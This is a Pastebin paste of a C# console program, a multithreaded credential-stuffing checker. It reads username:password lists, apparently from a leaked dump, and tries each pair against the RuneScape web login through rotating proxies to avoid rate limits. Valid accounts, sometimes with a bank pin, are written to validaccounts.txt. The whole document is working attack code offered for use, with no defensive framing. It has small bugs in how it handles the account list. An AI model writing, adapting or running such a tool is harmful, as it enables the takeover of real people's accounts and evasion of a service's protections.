Advertisement
Guest User

Untitled

a guest
Jan 11th, 2016
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.40 KB | None | 0 0
  1.  
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Net;
  7. using System.IO;
  8. using System.Threading;
  9.  
  10. namespace ConsoleApplication7
  11. {
  12. class Program
  13. {
  14. static List<String> accounts = new List<String>();
  15. static List<String> proxies = new List<String>();
  16.  
  17. static void Main(string[] args)
  18. {
  19. int threads = 4;
  20. loadAccounts();
  21. loadProxies();
  22. Console.WriteLine("Enter the amount of threads to run (4 default):");
  23. threads = Int32.Parse(Console.ReadLine());
  24. Console.WriteLine("Starting on " + threads + " threads...");
  25. for (int i = 0; i < threads; i++)
  26. {
  27. ThreadPool.QueueUserWorkItem(new WaitCallback(Worker), i);
  28. }
  29. Console.ReadLine();
  30. }
  31.  
  32. private static void Worker(object state)
  33. {
  34. int threadId = (int)state;
  35. string account = null;
  36. while ((account = getAccount()) != null)
  37. {
  38. String[] acc = accounts[0].Split(':');
  39. if (CheckAccount(acc[0], acc[1]))
  40. {
  41. Console.WriteLine("Thread: " + threadId + " - valid account - Username: " + acc[0] + " Password: " + acc[1]);
  42. WriteToFile("Thread: " + threadId + " - Username: " + acc[0] + " Password: " + acc[1] + (acc.Length > 2 ? "Bank pin: " + acc[2].Substring(5) : ""));
  43. }
  44. else
  45. {
  46. Console.WriteLine("Thread: " + threadId + " - invalid account - Username: " + acc[0] + " Password: " + acc[1]);
  47. }
  48. accounts.RemoveAt(0);
  49. }
  50. Console.ReadLine();
  51. }
  52.  
  53. private static Boolean CheckAccount(String username, String password)
  54. {
  55. while (true)
  56. {
  57. string proxy = getProxy();
  58. string reply = null;
  59. try
  60. {
  61. byte[] buffer = Encoding.ASCII.GetBytes("mod=www&ssl=0&dest=title.ws&username=" + username.Replace(" ", "20%") + "&password=" + password.Replace(" ", "20%"));
  62. HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
  63. WebReq.Proxy = new WebProxy(proxy.Split(':')[0], Int32.Parse(proxy.Split(':')[1]));
  64. WebReq.Method = "POST";
  65. WebReq.Referer = "https://secure.runescape.com/m=weblogin/loginform.ws?mod=www&ssl=0&dest=title.ws";
  66. WebReq.ContentType = "application/x-www-form-urlencoded";
  67. WebReq.ContentLength = buffer.Length;
  68. Stream PostData = WebReq.GetRequestStream();
  69. PostData.Write(buffer, 0, buffer.Length);
  70. PostData.Close();
  71. HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
  72. Stream Answer = WebResp.GetResponseStream();
  73. StreamReader _Answer = new StreamReader(Answer);
  74. reply = _Answer.ReadToEnd();
  75. if (reply.Contains("Login Successful"))
  76. {
  77. return true;
  78. }
  79. else
  80. {
  81. return false;
  82. }
  83. }
  84. catch
  85. {
  86. //Console.WriteLine("Bad proxy " + proxy);
  87. removeProxy(proxy);
  88. }
  89. Thread.Sleep(30);
  90. }
  91. }
  92.  
  93. private static String getAccount()
  94. {
  95. lock (accounts)
  96. {
  97. if (accounts.Count > 0)
  98. {
  99. String account = accounts[0];
  100. accounts.RemoveAt(0);
  101. return account;
  102. }
  103. }
  104. return null;
  105. }
  106.  
  107. private static void removeProxy(String proxy)
  108. {
  109. lock (proxies)
  110. {
  111. proxies.Remove(proxy);
  112. }
  113. }
  114.  
  115. private static String getProxy()
  116. {
  117. lock (proxies)
  118. {
  119. return proxies[new Random().Next(0, proxies.Count)];
  120. }
  121. }
  122.  
  123. private static void loadProxies()
  124. {
  125. using (TextReader tr = new StreamReader("proxy.txt"))
  126. {
  127. string line = null;
  128. while ((line = tr.ReadLine()) != null)
  129. {
  130. proxies.Add(line);
  131. }
  132. }
  133. }
  134.  
  135. private static void loadAccounts()
  136. {
  137. using (TextReader tr = new StreamReader("accounts.txt"))
  138. {
  139. string line = null;
  140. while ((line = tr.ReadLine()) != null)
  141. {
  142. String[] details = line.Split('\t');
  143. accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));
  144. }
  145. }
  146. }
  147.  
  148. private static void WriteToFile(String account)
  149. {
  150. using (StreamWriter w = File.AppendText("validaccounts.txt"))
  151. {
  152. w.WriteLine(account);
  153. w.Flush();
  154. }
  155. }
  156. }
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement